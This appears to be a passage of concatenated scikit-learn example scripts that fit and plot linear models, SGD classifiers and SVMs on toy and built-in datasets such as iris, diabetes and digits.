    plt.text(-8, 3, "C = %.2f" % C)

    l1_plot.set_xticks(())
    l1_plot.set_yticks(())
    l2_plot.set_xticks(())
    l2_plot.set_yticks(())

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Logistic Regression 3-class Classifier
=========================================================

Show below is a logistic-regression classifiers decision boundaries on the
`iris <https://en.wikipedia.org/wiki/Iris_flower_data_set>`_ dataset. The
datapoints are colored according to their labels.

"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from sklearn import linear_model, datasets

# import some data to play with
iris = datasets.load_iris()
X = iris.data[:, :2]  # we only take the first two features.
Y = iris.target

h = .02  # step size in the mesh

logreg = linear_model.LogisticRegression(C=1e5)

# we create an instance of Neighbours Classifier and fit the data.
logreg.fit(X, Y)

# Plot the decision boundary. For that, we will assign a color to each
# point in the mesh [x_min, x_max]x[y_min, y_max].
x_min, x_max = X[:, 0].min() - .5, X[:, 0].max() + .5
y_min, y_max = X[:, 1].min() - .5, X[:, 1].max() + .5
xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))
Z = logreg.predict(np.c_[xx.ravel(), yy.ravel()])

# Put the result into a color plot
Z = Z.reshape(xx.shape)
plt.figure(1, figsize=(4, 3))
plt.pcolormesh(xx, yy, Z, cmap=plt.cm.Paired)

# Plot also the training points
plt.scatter(X[:, 0], X[:, 1], c=Y, edgecolors='k', cmap=plt.cm.Paired)
plt.xlabel('Sepal length')
plt.ylabel('Sepal width')

plt.xlim(xx.min(), xx.max())
plt.ylim(yy.min(), yy.max())
plt.xticks(())
plt.yticks(())

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Ordinary Least Squares and Ridge Regression Variance
=========================================================
Due to the few points in each dimension and the straight
line that linear regression uses to follow these points
as well as it can, noise on the observations will cause
great variance as shown in the first plot. Every line's slope
can vary quite a bit for each prediction due to the noise
induced in the observations.

Ridge regression is basically minimizing a penalised version
of the least-squared function. The penalising `shrinks` the
value of the regression coefficients.
Despite the few data points in each dimension, the slope
of the prediction is much more stable and the variance
in the line itself is greatly reduced, in comparison to that
of the standard linear regression
"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause


import numpy as np
import matplotlib.pyplot as plt

from sklearn import linear_model

X_train = np.c_[.5, 1].T
y_train = [.5, 1]
X_test = np.c_[0, 2].T

np.random.seed(0)

classifiers = dict(ols=linear_model.LinearRegression(),
                   ridge=linear_model.Ridge(alpha=.1))

fignum = 1
for name, clf in classifiers.items():
    fig = plt.figure(fignum, figsize=(4, 3))
    plt.clf()
    plt.title(name)
    ax = plt.axes([.12, .12, .8, .8])

    for _ in range(6):
        this_X = .1 * np.random.normal(size=(2, 1)) + X_train
        clf.fit(this_X, y_train)

        ax.plot(X_test, clf.predict(X_test), color='.5')
        ax.scatter(this_X, y_train, s=3, c='.5', marker='o', zorder=10)

    clf.fit(X_train, y_train)
    ax.plot(X_test, clf.predict(X_test), linewidth=2, color='blue')
    ax.scatter(X_train, y_train, s=30, c='r', marker='+', zorder=10)

    ax.set_xticks(())
    ax.set_yticks(())
    ax.set_ylim((0, 1.6))
    ax.set_xlabel('X')
    ax.set_ylabel('y')
    ax.set_xlim(0, 2)
    fignum += 1

plt.show()






"""
==============
SGD: Penalties
==============

Plot the contours of the three penalties.

All of the above are supported by
:class:`sklearn.linear_model.stochastic_gradient`.

"""
from __future__ import division
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt


def l1(xs):
    return np.array([np.sqrt((1 - np.sqrt(x ** 2.0)) ** 2.0) for x in xs])


def l2(xs):
    return np.array([np.sqrt(1.0 - x ** 2.0) for x in xs])


def el(xs, z):
    return np.array([(2 - 2 * x - 2 * z + 4 * x * z -
                      (4 * z ** 2
                       - 8 * x * z ** 2
                       + 8 * x ** 2 * z ** 2
                       - 16 * x ** 2 * z ** 3
                       + 8 * x * z ** 3 + 4 * x ** 2 * z ** 4) ** (1. / 2)
                      - 2 * x * z ** 2) / (2 - 4 * z) for x in xs])


def cross(ext):
    plt.plot([-ext, ext], [0, 0], "k-")
    plt.plot([0, 0], [-ext, ext], "k-")

xs = np.linspace(0, 1, 100)

alpha = 0.501  # 0.5 division throuh zero

cross(1.2)

l1_color = "navy"
l2_color = "c"
elastic_net_color = "darkorange"
lw = 2

plt.plot(xs, l1(xs), color=l1_color, label="L1", lw=lw)
plt.plot(xs, -1.0 * l1(xs), color=l1_color, lw=lw)
plt.plot(-1 * xs, l1(xs), color=l1_color, lw=lw)
plt.plot(-1 * xs, -1.0 * l1(xs), color=l1_color, lw=lw)

plt.plot(xs, l2(xs), color=l2_color, label="L2", lw=lw)
plt.plot(xs, -1.0 * l2(xs), color=l2_color, lw=lw)
plt.plot(-1 * xs, l2(xs), color=l2_color, lw=lw)
plt.plot(-1 * xs, -1.0 * l2(xs), color=l2_color, lw=lw)

plt.plot(xs, el(xs, alpha), color=elastic_net_color, label="Elastic Net", lw=lw)
plt.plot(xs, -1.0 * el(xs, alpha), color=elastic_net_color, lw=lw)
plt.plot(-1 * xs, el(xs, alpha), color=elastic_net_color, lw=lw)
plt.plot(-1 * xs, -1.0 * el(xs, alpha), color=elastic_net_color, lw=lw)

plt.xlabel(r"$w_0$")
plt.ylabel(r"$w_1$")
plt.legend()

plt.axis("equal")
plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-


"""
=========================================================
Logit function
=========================================================

Show in the plot is how the logistic regression would, in this
synthetic dataset, classify values as either 0 or 1,
i.e. class one or two, using the logit-curve.

"""
print(__doc__)


# Code source: Gael Varoquaux
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn import linear_model

# this is our test set, it's just a straight line with some
# Gaussian noise
xmin, xmax = -5, 5
n_samples = 100
np.random.seed(0)
X = np.random.normal(size=n_samples)
y = (X > 0).astype(np.float)
X[X > 0] *= 4
X += .3 * np.random.normal(size=n_samples)

X = X[:, np.newaxis]
# run the classifier
clf = linear_model.LogisticRegression(C=1e5)
clf.fit(X, y)

# and plot the result
plt.figure(1, figsize=(4, 3))
plt.clf()
plt.scatter(X.ravel(), y, color='black', zorder=20)
X_test = np.linspace(-5, 10, 300)


def model(x):
    return 1 / (1 + np.exp(-x))
loss = model(X_test * clf.coef_ + clf.intercept_).ravel()
plt.plot(X_test, loss, color='blue', linewidth=3)

ols = linear_model.LinearRegression()
ols.fit(X, y)
plt.plot(X_test, ols.coef_ * X_test + ols.intercept_, linewidth=1)
plt.axhline(.5, color='.5')

plt.ylabel('y')
plt.xlabel('X')
plt.xticks(())
plt.yticks(())
plt.ylim(-.25, 1.25)
plt.xlim(-4, 10)

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Sparsity Example: Fitting only features 1  and 2
=========================================================

Features 1 and 2 of the diabetes-dataset are fitted and
plotted below. It illustrates that although feature 2
has a strong coefficient on the full model, it does not
give us much regarding `y` when compared to just feature 1

"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D

from sklearn import datasets, linear_model

diabetes = datasets.load_diabetes()
indices = (0, 1)

X_train = diabetes.data[:-20, indices]
X_test = diabetes.data[-20:, indices]
y_train = diabetes.target[:-20]
y_test = diabetes.target[-20:]

ols = linear_model.LinearRegression()
ols.fit(X_train, y_train)


###############################################################################
# Plot the figure
def plot_figs(fig_num, elev, azim, X_train, clf):
    fig = plt.figure(fig_num, figsize=(4, 3))
    plt.clf()
    ax = Axes3D(fig, elev=elev, azim=azim)

    ax.scatter(X_train[:, 0], X_train[:, 1], y_train, c='k', marker='+')
    ax.plot_surface(np.array([[-.1, -.1], [.15, .15]]),
                    np.array([[-.1, .15], [-.1, .15]]),
                    clf.predict(np.array([[-.1, -.1, .15, .15],
                                          [-.1, .15, -.1, .15]]).T
                                ).reshape((2, 2)),
                    alpha=.5)
    ax.set_xlabel('X_1')
    ax.set_ylabel('X_2')
    ax.set_zlabel('Y')
    ax.w_xaxis.set_ticklabels([])
    ax.w_yaxis.set_ticklabels([])
    ax.w_zaxis.set_ticklabels([])

#Generate the three different figures from different views
elev = 43.5
azim = -110
plot_figs(1, elev, azim, X_train, ols)

elev = -.5
azim = 0
plot_figs(2, elev, azim, X_train, ols)

elev = -.5
azim = 90
plot_figs(3, elev, azim, X_train, ols)

plt.show()






#!/usr/bin/env python
"""
=============================================
Joint feature selection with multi-task Lasso
=============================================

The multi-task lasso allows to fit multiple regression problems
jointly enforcing the selected features to be the same across
tasks. This example simulates sequential measurements, each task
is a time instant, and the relevant features vary in amplitude
over time while being the same. The multi-task lasso imposes that
features that are selected at one time point are select for all time
point. This makes feature selection by the Lasso more stable.

"""
print(__doc__)

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

import matplotlib.pyplot as plt
import numpy as np

from sklearn.linear_model import MultiTaskLasso, Lasso

rng = np.random.RandomState(42)

# Generate some 2D coefficients with sine waves with random frequency and phase
n_samples, n_features, n_tasks = 100, 30, 40
n_relevant_features = 5
coef = np.zeros((n_tasks, n_features))
times = np.linspace(0, 2 * np.pi, n_tasks)
for k in range(n_relevant_features):
    coef[:, k] = np.sin((1. + rng.randn(1)) * times + 3 * rng.randn(1))

X = rng.randn(n_samples, n_features)
Y = np.dot(X, coef.T) + rng.randn(n_samples, n_tasks)

coef_lasso_ = np.array([Lasso(alpha=0.5).fit(X, y).coef_ for y in Y.T])
coef_multi_task_lasso_ = MultiTaskLasso(alpha=1.).fit(X, Y).coef_

###############################################################################
# Plot support and time series
fig = plt.figure(figsize=(8, 5))
plt.subplot(1, 2, 1)
plt.spy(coef_lasso_)
plt.xlabel('Feature')
plt.ylabel('Time (or Task)')
plt.text(10, 5, 'Lasso')
plt.subplot(1, 2, 2)
plt.spy(coef_multi_task_lasso_)
plt.xlabel('Feature')
plt.ylabel('Time (or Task)')
plt.text(10, 5, 'MultiTaskLasso')
fig.suptitle('Coefficient non-zero location')

feature_to_plot = 0
plt.figure()
lw = 2
plt.plot(coef[:, feature_to_plot], color='seagreen', linewidth=lw,
         label='Ground truth')
plt.plot(coef_lasso_[:, feature_to_plot], color='cornflowerblue', linewidth=lw,
         label='Lasso')
plt.plot(coef_multi_task_lasso_[:, feature_to_plot], color='gold', linewidth=lw,
         label='MultiTaskLasso')
plt.legend(loc='upper center')
plt.axis('tight')
plt.ylim([-1.1, 1.1])
plt.show()






"""
=====================
Lasso and Elastic Net
=====================

Lasso and elastic net (L1 and L2 penalisation) implemented using a
coordinate descent.

The coefficients can be forced to be positive.
"""
print(__doc__)

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

from itertools import cycle
import numpy as np
import matplotlib.pyplot as plt

from sklearn.linear_model import lasso_path, enet_path
from sklearn import datasets

diabetes = datasets.load_diabetes()
X = diabetes.data
y = diabetes.target

X /= X.std(axis=0)  # Standardize data (easier to set the l1_ratio parameter)

# Compute paths

eps = 5e-3  # the smaller it is the longer is the path

print("Computing regularization path using the lasso...")
alphas_lasso, coefs_lasso, _ = lasso_path(X, y, eps, fit_intercept=False)

print("Computing regularization path using the positive lasso...")
alphas_positive_lasso, coefs_positive_lasso, _ = lasso_path(
    X, y, eps, positive=True, fit_intercept=False)
print("Computing regularization path using the elastic net...")
alphas_enet, coefs_enet, _ = enet_path(
    X, y, eps=eps, l1_ratio=0.8, fit_intercept=False)

print("Computing regularization path using the positive elastic net...")
alphas_positive_enet, coefs_positive_enet, _ = enet_path(
    X, y, eps=eps, l1_ratio=0.8, positive=True, fit_intercept=False)

# Display results

plt.figure(1)
ax = plt.gca()

colors = cycle(['b', 'r', 'g', 'c', 'k'])
neg_log_alphas_lasso = -np.log10(alphas_lasso)
neg_log_alphas_enet = -np.log10(alphas_enet)
for coef_l, coef_e, c in zip(coefs_lasso, coefs_enet, colors):
    l1 = plt.plot(neg_log_alphas_lasso, coef_l, c=c)
    l2 = plt.plot(neg_log_alphas_enet, coef_e, linestyle='--', c=c)

plt.xlabel('-Log(alpha)')
plt.ylabel('coefficients')
plt.title('Lasso and Elastic-Net Paths')
plt.legend((l1[-1], l2[-1]), ('Lasso', 'Elastic-Net'), loc='lower left')
plt.axis('tight')


plt.figure(2)
ax = plt.gca()
neg_log_alphas_positive_lasso = -np.log10(alphas_positive_lasso)
for coef_l, coef_pl, c in zip(coefs_lasso, coefs_positive_lasso, colors):
    l1 = plt.plot(neg_log_alphas_lasso, coef_l, c=c)
    l2 = plt.plot(neg_log_alphas_positive_lasso, coef_pl, linestyle='--', c=c)

plt.xlabel('-Log(alpha)')
plt.ylabel('coefficients')
plt.title('Lasso and positive Lasso')
plt.legend((l1[-1], l2[-1]), ('Lasso', 'positive Lasso'), loc='lower left')
plt.axis('tight')


plt.figure(3)
ax = plt.gca()
neg_log_alphas_positive_enet = -np.log10(alphas_positive_enet)
for (coef_e, coef_pe, c) in zip(coefs_enet, coefs_positive_enet, colors):
    l1 = plt.plot(neg_log_alphas_enet, coef_e, c=c)
    l2 = plt.plot(neg_log_alphas_positive_enet, coef_pe, linestyle='--', c=c)

plt.xlabel('-Log(alpha)')
plt.ylabel('coefficients')
plt.title('Elastic-Net and positive Elastic-Net')
plt.legend((l1[-1], l2[-1]), ('Elastic-Net', 'positive Elastic-Net'),
           loc='lower left')
plt.axis('tight')
plt.show()






"""
=====================
SGD: Weighted samples
=====================

Plot decision function of a weighted dataset, where the size of points
is proportional to its weight.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import linear_model

# we create 20 points
np.random.seed(0)
X = np.r_[np.random.randn(10, 2) + [1, 1], np.random.randn(10, 2)]
y = [1] * 10 + [-1] * 10
sample_weight = 100 * np.abs(np.random.randn(20))
# and assign a bigger weight to the last 10 samples
sample_weight[:10] *= 10

# plot the weighted data points
xx, yy = np.meshgrid(np.linspace(-4, 5, 500), np.linspace(-4, 5, 500))
plt.figure()
plt.scatter(X[:, 0], X[:, 1], c=y, s=sample_weight, alpha=0.9,
            cmap=plt.cm.bone)

## fit the unweighted model
clf = linear_model.SGDClassifier(alpha=0.01, n_iter=100)
clf.fit(X, y)
Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
Z = Z.reshape(xx.shape)
no_weights = plt.contour(xx, yy, Z, levels=[0], linestyles=['solid'])

## fit the weighted model
clf = linear_model.SGDClassifier(alpha=0.01, n_iter=100)
clf.fit(X, y, sample_weight=sample_weight)
Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
Z = Z.reshape(xx.shape)
samples_weights = plt.contour(xx, yy, Z, levels=[0], linestyles=['dashed'])

plt.legend([no_weights.collections[0], samples_weights.collections[0]],
           ["no weights", "with weights"], loc="lower left")

plt.xticks(())
plt.yticks(())
plt.show()






"""
=======================================================
HuberRegressor vs Ridge on dataset with strong outliers
=======================================================

Fit Ridge and HuberRegressor on a dataset with outliers.

The example shows that the predictions in ridge are strongly influenced
by the outliers present in the dataset. The Huber regressor is less
influenced by the outliers since the model uses the linear loss for these.
As the parameter epsilon is increased for the Huber regressor, the decision
function approaches that of the ridge.
"""

# Authors: Manoj Kumar mks542@nyu.edu
# License: BSD 3 clause

print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import make_regression
from sklearn.linear_model import HuberRegressor, Ridge

# Generate toy data.
rng = np.random.RandomState(0)
X, y = make_regression(n_samples=20, n_features=1, random_state=0, noise=4.0,
                       bias=100.0)

# Add four strong outliers to the dataset.
X_outliers = rng.normal(0, 0.5, size=(4, 1))
y_outliers = rng.normal(0, 2.0, size=4)
X_outliers[:2, :] += X.max() + X.mean() / 4.
X_outliers[2:, :] += X.min() - X.mean() / 4.
y_outliers[:2] += y.min() - y.mean() / 4.
y_outliers[2:] += y.max() + y.mean() / 4.
X = np.vstack((X, X_outliers))
y = np.concatenate((y, y_outliers))
plt.plot(X, y, 'b.')

# Fit the huber regressor over a series of epsilon values.
colors = ['r-', 'b-', 'y-', 'm-']

x = np.linspace(X.min(), X.max(), 7)
epsilon_values = [1.35, 1.5, 1.75, 1.9]
for k, epsilon in enumerate(epsilon_values):
    huber = HuberRegressor(fit_intercept=True, alpha=0.0, max_iter=100,
                           epsilon=epsilon)
    huber.fit(X, y)
    coef_ = huber.coef_ * x + huber.intercept_
    plt.plot(x, coef_, colors[k], label="huber loss, %s" % epsilon)

# Fit a ridge regressor to compare it to huber regressor.
ridge = Ridge(fit_intercept=True, alpha=0.0, random_state=0, normalize=True)
ridge.fit(X, y)
coef_ridge = ridge.coef_
coef_ = ridge.coef_ * x + ridge.intercept_
plt.plot(x, coef_, 'g-', label="ridge regression")

plt.title("Comparison of HuberRegressor vs Ridge")
plt.xlabel("X")
plt.ylabel("y")
plt.legend(loc=0)
plt.show()






"""
==================================
Comparing various online solvers
==================================

An example showing how different online solvers perform
on the hand-written digits dataset.

"""
# Author: Rob Zinkov <rob at zinkov dot com>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from sklearn import datasets

from sklearn.model_selection import train_test_split
from sklearn.linear_model import SGDClassifier, Perceptron
from sklearn.linear_model import PassiveAggressiveClassifier
from sklearn.linear_model import LogisticRegression

heldout = [0.95, 0.90, 0.75, 0.50, 0.01]
rounds = 20
digits = datasets.load_digits()
X, y = digits.data, digits.target

classifiers = [
    ("SGD", SGDClassifier()),
    ("ASGD", SGDClassifier(average=True)),
    ("Perceptron", Perceptron()),
    ("Passive-Aggressive I", PassiveAggressiveClassifier(loss='hinge',
                                                         C=1.0)),
    ("Passive-Aggressive II", PassiveAggressiveClassifier(loss='squared_hinge',
                                                          C=1.0)),
    ("SAG", LogisticRegression(solver='sag', tol=1e-1, C=1.e4 / X.shape[0]))
]

xx = 1. - np.array(heldout)

for name, clf in classifiers:
    print("training %s" % name)
    rng = np.random.RandomState(42)
    yy = []
    for i in heldout:
        yy_ = []
        for r in range(rounds):
            X_train, X_test, y_train, y_test = \
                train_test_split(X, y, test_size=i, random_state=rng)
            clf.fit(X_train, y_train)
            y_pred = clf.predict(X_test)
            yy_.append(1 - np.mean(y_pred == y_test))
        yy.append(np.mean(yy_))
    plt.plot(xx, yy, label=name)

plt.legend(loc="upper right")
plt.xlabel("Proportion train")
plt.ylabel("Test Error Rate")
plt.show()






#!/usr/bin/env python
"""
=================================
Path with L1- Logistic Regression
=================================

Computes path on IRIS dataset.

"""
print(__doc__)

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

from datetime import datetime
import numpy as np
import matplotlib.pyplot as plt

from sklearn import linear_model
from sklearn import datasets
from sklearn.svm import l1_min_c

iris = datasets.load_iris()
X = iris.data
y = iris.target

X = X[y != 2]
y = y[y != 2]

X -= np.mean(X, 0)

###############################################################################
# Demo path functions

cs = l1_min_c(X, y, loss='log') * np.logspace(0, 3)


print("Computing regularization path ...")
start = datetime.now()
clf = linear_model.LogisticRegression(C=1.0, penalty='l1', tol=1e-6)
coefs_ = []
for c in cs:
    clf.set_params(C=c)
    clf.fit(X, y)
    coefs_.append(clf.coef_.ravel().copy())
print("This took ", datetime.now() - start)

coefs_ = np.array(coefs_)
plt.plot(np.log10(cs), coefs_)
ymin, ymax = plt.ylim()
plt.xlabel('log(C)')
plt.ylabel('Coefficients')
plt.title('Logistic Regression Path')
plt.axis('tight')
plt.show()






"""
Robust linear estimator fitting
===============================

Here a sine function is fit with a polynomial of order 3, for values
close to zero.

Robust fitting is demoed in different situations:

- No measurement errors, only modelling errors (fitting a sine with a
  polynomial)

- Measurement errors in X

- Measurement errors in y

The median absolute deviation to non corrupt new data is used to judge
the quality of the prediction.

What we can see that:

- RANSAC is good for strong outliers in the y direction

- TheilSen is good for small outliers, both in direction X and y, but has
  a break point above which it performs worse than OLS.

- The scores of HuberRegressor may not be compared directly to both TheilSen
  and RANSAC because it does not attempt to completely filter the outliers
  but lessen their effect.

"""

from matplotlib import pyplot as plt
import numpy as np

from sklearn.linear_model import (
    LinearRegression, TheilSenRegressor, RANSACRegressor, HuberRegressor)
from sklearn.metrics import mean_squared_error
from sklearn.preprocessing import PolynomialFeatures
from sklearn.pipeline import make_pipeline

np.random.seed(42)

X = np.random.normal(size=400)
y = np.sin(X)
# Make sure that it X is 2D
X = X[:, np.newaxis]

X_test = np.random.normal(size=200)
y_test = np.sin(X_test)
X_test = X_test[:, np.newaxis]

y_errors = y.copy()
y_errors[::3] = 3

X_errors = X.copy()
X_errors[::3] = 3

y_errors_large = y.copy()
y_errors_large[::3] = 10

X_errors_large = X.copy()
X_errors_large[::3] = 10

estimators = [('OLS', LinearRegression()),
              ('Theil-Sen', TheilSenRegressor(random_state=42)),
              ('RANSAC', RANSACRegressor(random_state=42)),
              ('HuberRegressor', HuberRegressor())]
colors = {'OLS': 'turquoise', 'Theil-Sen': 'gold', 'RANSAC': 'lightgreen', 'HuberRegressor': 'black'}
linestyle = {'OLS': '-', 'Theil-Sen': '-.', 'RANSAC': '--', 'HuberRegressor': '--'}
lw = 3

x_plot = np.linspace(X.min(), X.max())
for title, this_X, this_y in [
        ('Modeling Errors Only', X, y),
        ('Corrupt X, Small Deviants', X_errors, y),
        ('Corrupt y, Small Deviants', X, y_errors),
        ('Corrupt X, Large Deviants', X_errors_large, y),
        ('Corrupt y, Large Deviants', X, y_errors_large)]:
    plt.figure(figsize=(5, 4))
    plt.plot(this_X[:, 0], this_y, 'b+')

    for name, estimator in estimators:
        model = make_pipeline(PolynomialFeatures(3), estimator)
        model.fit(this_X, this_y)
        mse = mean_squared_error(model.predict(X_test), y_test)
        y_plot = model.predict(x_plot[:, np.newaxis])
        plt.plot(x_plot, y_plot, color=colors[name], linestyle=linestyle[name],
                 linewidth=lw, label='%s: error = %.3f' % (name, mse))

    legend_title = 'Error of Mean\nAbsolute Deviation\nto Non-corrupt Data'
    legend = plt.legend(loc='upper right', frameon=False, title=legend_title,
                        prop=dict(size='x-small'))
    plt.xlim(-4, 10.2)
    plt.ylim(-2, 10.2)
    plt.title(title)
plt.show()






#!/usr/bin/env python
"""
========================
Polynomial interpolation
========================

This example demonstrates how to approximate a function with a polynomial of
degree n_degree by using ridge regression. Concretely, from n_samples 1d
points, it suffices to build the Vandermonde matrix, which is n_samples x
n_degree+1 and has the following form:

[[1, x_1, x_1 ** 2, x_1 ** 3, ...],
 [1, x_2, x_2 ** 2, x_2 ** 3, ...],
 ...]

Intuitively, this matrix can be interpreted as a matrix of pseudo features (the
points raised to some power). The matrix is akin to (but different from) the
matrix induced by a polynomial kernel.

This example shows that you can do non-linear regression with a linear model,
using a pipeline to add non-linear features. Kernel methods extend this idea
and can induce very high (even infinite) dimensional feature spaces.
"""
print(__doc__)

# Author: Mathieu Blondel
#         Jake Vanderplas
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.linear_model import Ridge
from sklearn.preprocessing import PolynomialFeatures
from sklearn.pipeline import make_pipeline


def f(x):
    """ function to approximate by polynomial interpolation"""
    return x * np.sin(x)


# generate points used to plot
x_plot = np.linspace(0, 10, 100)

# generate points and keep a subset of them
x = np.linspace(0, 10, 100)
rng = np.random.RandomState(0)
rng.shuffle(x)
x = np.sort(x[:20])
y = f(x)

# create matrix versions of these arrays
X = x[:, np.newaxis]
X_plot = x_plot[:, np.newaxis]

colors = ['teal', 'yellowgreen', 'gold']
lw = 2
plt.plot(x_plot, f(x_plot), color='cornflowerblue', linewidth=lw,
         label="ground truth")
plt.scatter(x, y, color='navy', s=30, marker='o', label="training points")

for count, degree in enumerate([3, 4, 5]):
    model = make_pipeline(PolynomialFeatures(degree), Ridge())
    model.fit(X, y)
    y_plot = model.predict(X_plot)
    plt.plot(x_plot, y_plot, color=colors[count], linewidth=lw,
             label="degree %d" % degree)

plt.legend(loc='lower left')

plt.show()






"""
=========================================
SGD: Maximum margin separating hyperplane
=========================================

Plot the maximum margin separating hyperplane within a two-class
separable dataset using a linear Support Vector Machines classifier
trained using SGD.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import SGDClassifier
from sklearn.datasets.samples_generator import make_blobs

# we create 50 separable points
X, Y = make_blobs(n_samples=50, centers=2, random_state=0, cluster_std=0.60)

# fit the model
clf = SGDClassifier(loss="hinge", alpha=0.01, n_iter=200, fit_intercept=True)
clf.fit(X, Y)

# plot the line, the points, and the nearest vectors to the plane
xx = np.linspace(-1, 5, 10)
yy = np.linspace(-1, 5, 10)

X1, X2 = np.meshgrid(xx, yy)
Z = np.empty(X1.shape)
for (i, j), val in np.ndenumerate(X1):
    x1 = val
    x2 = X2[i, j]
    p = clf.decision_function([[x1, x2]])
    Z[i, j] = p[0]
levels = [-1.0, 0.0, 1.0]
linestyles = ['dashed', 'solid', 'dashed']
colors = 'k'
plt.contour(X1, X2, Z, levels, colors=colors, linestyles=linestyles)
plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired)

plt.axis('tight')
plt.show()






"""
==========================
SGD: convex loss functions
==========================

A plot that compares the various convex loss functions supported by
:class:`sklearn.linear_model.SGDClassifier` .
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt


def modified_huber_loss(y_true, y_pred):
    z = y_pred * y_true
    loss = -4 * z
    loss[z >= -1] = (1 - z[z >= -1]) ** 2
    loss[z >= 1.] = 0
    return loss


xmin, xmax = -4, 4
xx = np.linspace(xmin, xmax, 100)
lw = 2
plt.plot([xmin, 0, 0, xmax], [1, 1, 0, 0], color='gold', lw=lw,
         label="Zero-one loss")
plt.plot(xx, np.where(xx < 1, 1 - xx, 0), color='teal', lw=lw,
         label="Hinge loss")
plt.plot(xx, -np.minimum(xx, 0), color='yellowgreen', lw=lw,
         label="Perceptron loss")
plt.plot(xx, np.log2(1 + np.exp(-xx)), color='cornflowerblue', lw=lw,
         label="Log loss")
plt.plot(xx, np.where(xx < 1, 1 - xx, 0) ** 2, color='orange', lw=lw,
         label="Squared hinge loss")
plt.plot(xx, modified_huber_loss(xx, 1), color='darkorchid', lw=lw,
         linestyle='--', label="Modified Huber loss")
plt.ylim((0, 8))
plt.legend(loc="upper right")
plt.xlabel(r"Decision function $f(x)$")
plt.ylabel("$L(y, f(x))$")
plt.show()






"""
=================================================
SVM: Separating hyperplane for unbalanced classes
=================================================

Find the optimal separating hyperplane using an SVC for classes that
are unbalanced.

We first find the separating plane with a plain SVC and then plot
(dashed) the separating hyperplane with automatically correction for
unbalanced classes.

.. currentmodule:: sklearn.linear_model

.. note::

    This example will also work by replacing ``SVC(kernel="linear")``
    with ``SGDClassifier(loss="hinge")``. Setting the ``loss`` parameter
    of the :class:`SGDClassifier` equal to ``hinge`` will yield behaviour
    such as that of a SVC with a linear kernel.

    For example try instead of the ``SVC``::

        clf = SGDClassifier(n_iter=100, alpha=0.01)

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm
#from sklearn.linear_model import SGDClassifier

# we create 40 separable points
rng = np.random.RandomState(0)
n_samples_1 = 1000
n_samples_2 = 100
X = np.r_[1.5 * rng.randn(n_samples_1, 2),
          0.5 * rng.randn(n_samples_2, 2) + [2, 2]]
y = [0] * (n_samples_1) + [1] * (n_samples_2)

# fit the model and get the separating hyperplane
clf = svm.SVC(kernel='linear', C=1.0)
clf.fit(X, y)

w = clf.coef_[0]
a = -w[0] / w[1]
xx = np.linspace(-5, 5)
yy = a * xx - clf.intercept_[0] / w[1]


# get the separating hyperplane using weighted classes
wclf = svm.SVC(kernel='linear', class_weight={1: 10})
wclf.fit(X, y)

ww = wclf.coef_[0]
wa = -ww[0] / ww[1]
wyy = wa * xx - wclf.intercept_[0] / ww[1]

# plot separating hyperplanes and samples
h0 = plt.plot(xx, yy, 'k-', label='no weights')
h1 = plt.plot(xx, wyy, 'k--', label='with weights')
plt.scatter(X[:, 0], X[:, 1], c=y, cmap=plt.cm.Paired)
plt.legend()

plt.axis('tight')
plt.show()






"""
=================================================
SVM-Anova: SVM with univariate feature selection
=================================================

This example shows how to perform univariate feature selection before running a
SVC (support vector classifier) to improve the classification scores.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm, datasets, feature_selection
from sklearn.model_selection import cross_val_score
from sklearn.pipeline import Pipeline

###############################################################################
# Import some data to play with
digits = datasets.load_digits()
y = digits.target
# Throw away data, to be in the curse of dimension settings
y = y[:200]
X = digits.data[:200]
n_samples = len(y)
X = X.reshape((n_samples, -1))
# add 200 non-informative features
X = np.hstack((X, 2 * np.random.random((n_samples, 200))))

###############################################################################
# Create a feature-selection transform and an instance of SVM that we
# combine together to have an full-blown estimator

transform = feature_selection.SelectPercentile(feature_selection.f_classif)

clf = Pipeline([('anova', transform), ('svc', svm.SVC(C=1.0))])

###############################################################################
# Plot the cross-validation score as a function of percentile of features
score_means = list()
score_stds = list()
percentiles = (1, 3, 6, 10, 15, 20, 30, 40, 60, 80, 100)

for percentile in percentiles:
    clf.set_params(anova__percentile=percentile)
    # Compute cross-validation score using 1 CPU
    this_scores = cross_val_score(clf, X, y, n_jobs=1)
    score_means.append(this_scores.mean())
    score_stds.append(this_scores.std())

plt.errorbar(percentiles, score_means, np.array(score_stds))

plt.title(
    'Performance of the SVM-Anova varying the percentile of features selected')
plt.xlabel('Percentile')
plt.ylabel('Prediction rate')

plt.axis('tight')
plt.show()






"""
==============================================
Scaling the regularization parameter for SVCs
==============================================

The following example illustrates the effect of scaling the
regularization parameter when using :ref:`svm` for
:ref:`classification <svm_classification>`.
For SVC classification, we are interested in a risk minimization for the
